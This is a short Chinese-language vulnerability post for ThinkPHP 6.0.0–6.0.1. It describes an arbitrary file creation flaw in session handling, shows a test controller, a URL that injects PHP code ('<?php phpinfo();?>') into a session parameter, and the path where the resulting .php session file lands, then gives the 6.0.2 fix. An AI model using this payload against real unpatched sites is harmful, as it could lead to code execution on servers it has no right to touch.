thinkphp6 session 任意文件创建漏洞POC
- 发表于
 - Vulndb
 
2020年1月13号,Thinkphp 6.0.2发布,在详情页指出修复了一处
Session安全隐患
。经分析,该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。
具体受影响版本为ThinkPHP6.0.0-6.0.1。
漏洞复现
在index控制器中添加如下action
|   1 2 3 4 5  |  public function testsession2(){     $username = Request::get('name');     Session::set('username', $username);     return 'hi'; }  |  
用于获取name参数,并将之设置到session中。
访问url:
http://127.0.0.1/tp6/public/index.php/index/testsession2?name=<?php%20phpinfo();?>

访问session文件,一般位于项目根目录下的
./runtime/session/
文件夹下,也就是
/runtime/session/sess_1234567890123456789012345678.php

修复方法
在6.0.2中,对session id使用了
ctype_alnum()
进行了判断,导致无法传递
.
等特殊字符,从而无法控制session文件为
.php
后缀。所以直接更新thinkphp6版本即可。
   原文连接:thinkphp6 session 任意文件创建漏洞POC  所有媒体,可在保留署名、
  原文连接
的情况下转载,若非则不得使用我方内容。